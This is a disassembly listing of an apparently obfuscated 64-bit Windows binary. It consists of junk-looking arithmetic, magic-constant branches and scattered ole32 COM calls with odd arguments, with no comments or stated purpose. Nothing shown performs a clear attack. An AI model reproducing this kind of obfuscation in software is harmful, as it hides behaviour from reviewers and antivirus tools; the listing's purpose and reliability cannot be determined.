movzx ecx, al
mov rax, qword [rsp + 0x4be8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
movzx eax, word [rsp + 0x9b0]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xab0], ax
movsx eax, byte [rsp + 0x125]
movsx ecx, byte [rsp + 0x12a]
or eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x12a]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x12b], al
mov eax, dword [0x140168a78]
mov ecx, dword [rsp + 0x27ec]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2804]
sub eax, 0xa7
mov dword [rsp + 0x2804], eax
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9b0], ax
mov eax, dword [0x140168a78]
mov ecx, dword [rsp + 0x27ec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov eax, dword [0x140168a78]
mov ecx, dword [rsp + 0x27ec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2798]
mov ecx, dword [rsp + 0x27ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [0x140169c48]
mov rcx, qword [0x140169c40]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
cmp dword [rsp + 0x2804], 0x1fbb
jae 0x140017009
cmp dword [rsp + 0x2800], 0xddaf
je 0x140017497
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b48]
mov byte [rcx], al
movsx eax, byte [str.Eo_Bl__e]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x12b], al
mov eax, dword [rsp + 0x2800]
add eax, 0x31
mov dword [rsp + 0x2800], eax
movzx eax, word [rsp + 0xab0]
movzx ecx, word [rsp + 0x930]
shl eax, cl
mov word [rsp + 0x9b0], ax
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x126], al
mov eax, dword [0x140168a78]
mov ecx, dword [rsp + 0x27ec]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27c0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b28]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x12b]
movsx ecx, byte [rsp + 0x125]
sub eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov byte [rcx], al
mov rax, qword [0x140169c48]
mov rcx, qword [0x140169c40]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4bd8]
mov word [rcx], ax
movsx eax, word [rsp + 0xabc]
movsx ecx, word [0x140169c50]
add eax, ecx
mov word [rsp + 0xab8], ax
mov rax, qword [rsp + 0x4b40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12b]
add eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x128]
movzx ecx, byte [rsp + 0x126]
sub eax, ecx
mov byte [rsp + 0x127], al
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x126]
sub eax, ecx
mov byte [rsp + 0x127], al
movzx eax, byte [rsp + 0x128]
movzx ecx, byte [rsp + 0x126]
sub eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
jmp 0x1400172dd
lea rax, [0x140168a78]
mov qword [rsp + 0x4bf0], rax
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
mov byte [rsp + 0x2824], al
cmp byte [rsp + 0x2824], 0
je 0x1400174c7
jmp 0x1401476d2
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
movzx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
movsx eax, word [rsp + 0xab8]
movsx ecx, word [rsp + 0xabc]
and eax, ecx
mov word [rsp + 0xab4], ax
mov eax, dword [rsp + 0x27c0]
mov ecx, dword [rsp + 0x27ac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
mov rax, qword [0x140169c48]
mov rcx, qword [rsp + 0x4bc0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [0x140168a78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x27ec], eax
mov rax, qword [rsp + 0x4ac8]
movzx eax, word [rax]
movzx ecx, word [0x140168a7c]
add eax, ecx
mov word [rsp + 0xab0], ax
movsx eax, byte [rsp + 0x12a]
mov rcx, qword [rsp + 0x4b40]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x129], al
movzx eax, word [rsp + 0x9b0]
movzx ecx, word [rsp + 0xab0]
shl eax, cl
mov word [rsp + 0x930], ax
movsx eax, word [rsp + 0xab8]
movsx ecx, word [rsp + 0xabc]
xor eax, ecx
mov word [rsp + 0xab4], ax
mov rax, qword [rsp + 0x4bf0]
mov ecx, dword [0x140168a78]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x27ec], eax
mov rax, qword [0x140169c48]
mov rax, qword [rax]
mov rcx, qword [0x140169c40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4bc0], rax
mov rax, qword [0x140169c40]
mov rcx, qword [rsp + 0x4bc0]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b48]
mov byte [rcx], al
mov eax, dword [rsp + 0x27f0]
add eax, 0xb0
mov dword [rsp + 0x27f0], eax
mov eax, dword [0x140168a78]
mov ecx, dword [rsp + 0x27ec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x128]
and eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x4b18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0x4ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9b0]
sub eax, ecx
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12b]
add eax, ecx
mov byte [rsp + 0x125], al
movsx eax, byte [rsp + 0x12b]
mov rcx, qword [rsp + 0x4b40]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bf0]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x27ec], eax
mov rax, qword [0x140169c48]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4bc0]
shl rax, cl
mov qword [0x140169c40], rax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2798]
shr eax, cl
mov dword [rsp + 0x27ac], eax
cmp dword [rsp + 0x27f0], 0xeea6
jne 0x1400174c7
lea rax, [rsp + 0xab4]
mov qword [rsp + 0x4bf8], rax
mov dword [rsp + 0x2828], 0xe583
lea rax, [rsp + 0x12b]
mov qword [rsp + 0x4c00], rax
mov eax, dword [rsp + 0x2798]
mov ecx, dword [rsp + 0x27c0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov rdx, qword [rsp + 0x4b28]
mov edx, dword [rdx]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
je 0x1400178c2
movzx eax, byte [rsp + 0x129]
movzx ecx, byte [rsp + 0x126]
add eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bf0]
mov eax, dword [rax]
mov dword [rsp + 0x282c], eax
cmp dword [rsp + 0x282c], 0x7aad9fa9
je 0x140017882
jmp 0x1400178a5
xor r8d, r8d
lea rdx, [rsp + 0x1d7c0]
lea rcx, [rsp + 0x1d7d0]
call qword [sym.imp.ole32.dll_OleGetIconOfClass]
mov qword [rsp + 0x4c08], rax
jmp 0x1400178c2
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab0]
sub eax, ecx
mov word [rsp + 0x9b0], ax
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x4b38]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9b0], ax
mov rax, qword [rsp + 0x4bf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27ec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b70]
mov rcx, qword [rsp + 0x4ad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b28]
mov dword [rcx], eax
mov rax, qword [0x140169c40]
mov rcx, qword [rsp + 0x4bc0]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b50]
mov rcx, qword [rsp + 0x4ba0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b08], rax
movzx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x126], al
movsx eax, word [rsp + 0xab8]
mov rcx, qword [rsp + 0x4bf8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xabc], ax
movsx eax, byte [rsp + 0x125]
movsx ecx, byte [rsp + 0x12b]
or eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x128]
sar eax, cl
mov byte [rsp + 0x126], al
mov rax, qword [rsp + 0x4bf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xabc]
shl eax, cl
mov word [rsp + 0xab8], ax
mov rax, qword [rsp + 0x4bf0]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ba0]
mov rcx, qword [rsp + 0x4b50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b08], rax
mov rax, qword [0x140169c48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4bc0]
sub rcx, rax
mov rax, rcx
mov qword [0x140169c40], rax
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x27c0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x125]
movsx ecx, byte [rsp + 0x12b]
add eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov byte [rcx], al
mov eax, dword [rsp + 0x2828]
sub eax, 2
mov dword [rsp + 0x2828], eax
movzx eax, byte [rsp + 0x128]
movzx ecx, byte [rsp + 0x126]
add eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
movzx eax, word [rsp + 0x9b0]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xab0], ax
cmp dword [rsp + 0x2828], 0xe515
ja 0x1400178c2
movsx eax, byte [rsp + 0x12a]
mov rcx, qword [rsp + 0x4b40]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x125], al
lea rax, [rsp + 0xab8]
mov qword [rsp + 0x4c10], rax
movzx eax, byte [rsp + 0x127]
movzx ecx, byte [rsp + 0x129]
and eax, ecx
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x128]
sub ecx, edx
cmp eax, ecx
je 0x140017b6b
movzx eax, byte [rsp + 0x125]
mov byte [rsp + 0x20], al
mov rax, qword [0x140169c48]
mov r9, qword [rax]
movzx r8d, byte [rsp + 0x12a]
movzx edx, byte [rsp + 0x12b]
movzx ecx, word [rsp + 0x930]
call fcn.140148200
nop
jmp 0x140147691
mov rax, qword [rsp + 0x4bc0]
mov rcx, qword [0x140169c48]
mov qword [rsp + 0x4c18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c18]
mov rax, qword [rax]
shr rax, cl
cmp rax, qword [0x140169c40]
jae 0x140017bdd
mov rax, qword [rsp + 0x4b98]
mov rcx, qword [rsp + 0x4bf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x27ec], eax
mov rax, qword [0x140169c48]
mov rcx, qword [rsp + 0x4bc0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
jmp 0x140017c9d
mov rax, qword [rsp + 0x4ba0]
mov rcx, qword [rsp + 0x4b50]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x4b08]
jg 0x140017c9d
mov r8d, 0x1b
lea rdx, [rsp + 0x4ab0]
lea rcx, [rsp + 0x1d810]
call qword [sym.imp.ole32.dll_StringFromGUID2]
mov dword [rsp + 0x2830], eax
movzx eax, byte [rsp + 0x129]
mov byte [rsp + 0x2834], al
cmp byte [rsp + 0x2834], 0x6d
je 0x140017c68
cmp byte [rsp + 0x2834], 0x8b
je 0x140017c49
jmp 0x140017c9d
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x27c0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b28]
mov dword [rcx], eax
jmp 0x140017c9d
movzx eax, byte [rsp + 0x125]
mov byte [rsp + 0x20], al
mov rax, qword [0x140169c48]
mov r9, qword [rax]
movzx r8d, byte [rsp + 0x125]
movzx edx, byte [rsp + 0x125]
movzx ecx, word [rsp + 0x930]
call fcn.140148200
nop
movsx eax, word [rsp + 0xabc]
mov dword [rsp + 0x2838], eax
cmp dword [rsp + 0x2838], 0x2848
je 0x140017cbb
jmp 0x140017cd9
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
sub eax, ecx
mov byte [rsp + 0x128], al
jmp 0x140017d21
movzx eax, word [rsp + 0x9b0]
movzx ecx, word [rsp + 0xab0]
add eax, ecx
mov word [rsp + 0x930], ax
lea rax, [rsp + 0xab0]
mov qword [rsp + 0x4c20], rax
movsx eax, byte [str.Eo_Bl__e]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
movsx eax, word [rsp + 0xabc]
mov rcx, qword [rsp + 0x4bf8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa08], ax
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x4b88]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
je 0x140017f0b
mov rax, qword [rsp + 0x4b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27ac]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov qword [rsp + 0x4c28], rax
movabs rax, 0x1062462b500c25da
cmp qword [rsp + 0x4c28], rax
je 0x140017dbe
jmp 0x140017eeb
lea rax, [rsp + 0x4ae0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xbb
lea rax, [rsp + 0x4bf0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x24
mov r9d, 0x8e
lea r8, [rsp + 0x1d810]
lea rdx, [rsp + 0x27e0]
lea rcx, [rsp + 0x1daf0]
call qword [sym.imp.ole32.dll_CoGetInstanceFromFile]
mov dword [rsp + 0x27e0], eax
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
mov dword [rsp + 0x283c], eax
cmp dword [rsp + 0x283c], 0x976
je 0x140017e44
cmp dword [rsp + 0x283c], 0x977
je 0x140017ebc
jmp 0x140017ee9
mov eax, dword [rsp + 0x2830]
movzx ecx, al
mov eax, dword [rsp + 0x27ec]
shl eax, cl
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
lea r9, [rsp + 0x4ba0]
lea r8, [rsp + 0x1d820]
mov edx, 0x1a
lea rcx, [rsp + 0x1df10]
call qword [sym.imp.ole32.dll_BindMoniker]
mov dword [rsp + 0x2840], eax
mov rax, qword [rsp + 0x4bc0]
mov rcx, qword [0x140169c48]
mov qword [rsp + 0x4c30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c30]
mov rax, qword [rax]
shr rax, cl
mov qword [0x140169c40], rax
jmp 0x140017ee9
mov r9d, dword [rsp + 0x27ac]
movzx r8d, word [rsp + 0x930]
mov rax, qword [rsp + 0x4bf8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4bf8]
movzx ecx, word [rax]
call fcn.140148540
nop
jmp 0x140017f0b
mov rax, qword [rsp + 0x4bf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa08]
xor eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
add eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x4b50]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x4ba0]
jne 0x140017ff2
mov rax, qword [rsp + 0x4b18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12b]
add eax, ecx
mov byte [rsp + 0x125], al
lea rdx, [rsp + 0x4c38]
mov ecx, 0xeb
call qword [sym.imp.ole32.dll_CoGetMalloc]
mov dword [rsp + 0x2810], eax
mov rax, qword [rsp + 0x4c10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xabc]
add eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
sub eax, ecx
mov word [rsp + 0xab0], ax
mov r9, qword [rsp + 0x4bc0]
movzx r8d, word [rsp + 0x9b0]
mov rax, qword [0x140169c48]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x4c20]
movzx ecx, word [rax]
call fcn.140147d00
nop
jmp 0x1400181b0
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
and eax, ecx
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x4ac8]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jg 0x1400181b0
movzx eax, byte [rsp + 0x129]
movzx ecx, byte [rsp + 0x126]
sub eax, ecx
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x128]
sub ecx, edx
cmp eax, ecx
jge 0x140018154
mov rax, qword [0x140169c40]
mov qword [rsp + 0x4c40], rax
movabs rax, 0xf9a437004ded0cc3
cmp qword [rsp + 0x4c40], rax
je 0x14001807b
jmp 0x1400180a0
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9b0]
xor eax, ecx
mov rcx, qword [rsp + 0x4bd8]
mov word [rcx], ax
jmp 0x140018152
lea rcx, [rsp + 0x4b50]
call qword [sym.imp.ole32.dll_CoEnableCallCancellation]
mov dword [rsp + 0x27e0], eax
mov rax, qword [0x140169c48]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140169c40]
shr rax, cl
mov qword [rsp + 0x4bc0], rax
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rsp + 0x27c0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
lea rax, [rsp + 0x1daf0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x4c48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x9b0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1e120]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2798]
lea r8, [rsp + 0x1e090]
lea rdx, [rsp + 0x1df10]
lea rcx, [rsp + 0x1d7f0]
call qword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [rsp + 0x2810], eax
jmp 0x1400181b0
lea rax, [rsp + 0x4b08]
mov qword [rsp + 0x4c50], rax
lea rax, [rsp + 0x2830]
mov qword [rsp + 0x4c58], rax
movsx eax, byte [rsp + 0x12b]
mov rcx, qword [rsp + 0x4c00]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x12a], al
lea rax, [rsp + 0xabc]
mov qword [rsp + 0x4c60], rax
lea rax, [rsp + 0x127]
mov qword [rsp + 0x4c68], rax
movsx eax, word [rsp + 0xabc]
movsx ecx, word [0x140169c50]
and eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov dword [rsp + 0x2844], eax
cmp dword [rsp + 0x2844], 0x69631765
je 0x1400181ec
jmp 0x140018242
lea rdx, [rsp + 0x1d820]
lea rcx, str.tog_jingoism_identifiable
call qword [sym.imp.ole32.dll_IIDFromString]
mov dword [rsp + 0x2848], eax
movzx eax, byte [str.Eo_Bl__e]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x4bc0]
movzx r8d, byte [rsp + 0x12a]
mov rax, qword [rsp + 0x4b80]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0x930]
call fcn.140148200
nop
jmp 0x1401475b5
movsx eax, word [rsp + 0xa08]
mov dword [rsp + 0x284c], eax
cmp dword [rsp + 0x284c], 0x2b5e
je 0x140018274
cmp dword [rsp + 0x284c], 0x34ce
je 0x14001830f
jmp 0x14001832b
movsx eax, word [rsp + 0xab8]
mov rcx, qword [rsp + 0x4c10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
lea rax, [rsp + 0x4c58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xe5
lea r9, [rsp + 0x4ba0]
mov r8d, 0x3b
lea rdx, [rsp + 0xab4]
lea rcx, [rsp + 0x1d820]
call qword [sym.imp.ole32.dll_CoGetStandardMarshal]
mov dword [rsp + 0x2840], eax
movsx eax, byte [rsp + 0x125]
movsx ecx, byte [rsp + 0x12b]
sub eax, ecx
mov byte [rsp + 0x12a], al
movzx eax, word [rsp + 0xab0]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
jmp 0x14001832b
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x128]
or eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x4b28]
mov eax, dword [rax]
mov dword [rsp + 0x2850], eax
cmp dword [rsp + 0x2850], 0x1169c0b8
je 0x14001834e
jmp 0x1400183f2
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov dword [rsp + 0x2854], eax
cmp dword [rsp + 0x2854], 0x98d417d
je 0x14001839a
cmp dword [rsp + 0x2854], 0x35535b18
je 0x14001837b
jmp 0x1400183ed
lea rdx, [rsp + 0x1d810]
lea rcx, [rsp + 0x1d7f0]
call qword [sym.imp.ole32.dll_ProgIDFromCLSID]
mov dword [rsp + 0x2858], eax
jmp 0x1400183ed
mov eax, dword [rsp + 0x2830]
mov ecx, dword [rsp + 0x27ec]
and ecx, eax
mov eax, ecx
mov dword [0x140168a78], eax
mov rax, qword [rsp + 0x4c50]
mov rcx, qword [rsp + 0x4b08]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c50]
mov qword [rcx], rax
lea rdx, [rsp + 0x4c10]
mov ecx, 0x87
call qword [sym.imp.ole32.dll_CoGetMalloc]
mov dword [rsp + 0x27e0], eax
jmp 0x1401474d7
lea rax, [rsp + 0x12b]
mov qword [rsp + 0x4c70], rax
mov dword [rsp + 0x285c], 0x5a04
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x127], al
cmp dword [rsp + 0x285c], 0x6d62
ja 0x1400188cd
movsx eax, word [rsp + 0xabc]
mov rcx, qword [rsp + 0x4c10]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov word [rcx], ax
mov eax, dword [rsp + 0x285c]
add eax, 0x86
mov dword [rsp + 0x285c], eax
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xab0], ax
mov rax, qword [rsp + 0x4b48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x128]
and eax, ecx
mov rcx, qword [rsp + 0x4b48]
mov byte [rcx], al
movzx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c68]
mov byte [rcx], al
mov rax, qword [0x140169c48]
mov rcx, qword [0x140169c40]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4bc0], rax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2830]
sub ecx, eax
mov eax, ecx
mov dword [0x140168a78], eax
mov rax, qword [rsp + 0x4c50]
mov rcx, qword [rsp + 0x4b08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x27ac]
shr eax, cl
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
movzx eax, word [0x140168a7c]
movzx ecx, word [rsp + 0x9b0]
xor eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
movsx eax, word [rsp + 0xabc]
movsx ecx, word [rsp + 0xab8]
shl eax, cl
mov word [rsp + 0xab4], ax
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
movsx ecx, byte [str.Eo_Bl__e]
or eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
movzx eax, word [rsp + 0x9b0]
movzx ecx, word [rsp + 0x930]
and eax, ecx
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
movsx eax, word [rsp + 0xab8]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa08], ax
mov rax, qword [rsp + 0x4bf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c10]
mov word [rcx], ax
mov eax, dword [rsp + 0x27ec]
mov ecx, dword [rsp + 0x2830]
sub ecx, eax
mov eax, ecx
mov dword [0x140168a78], eax
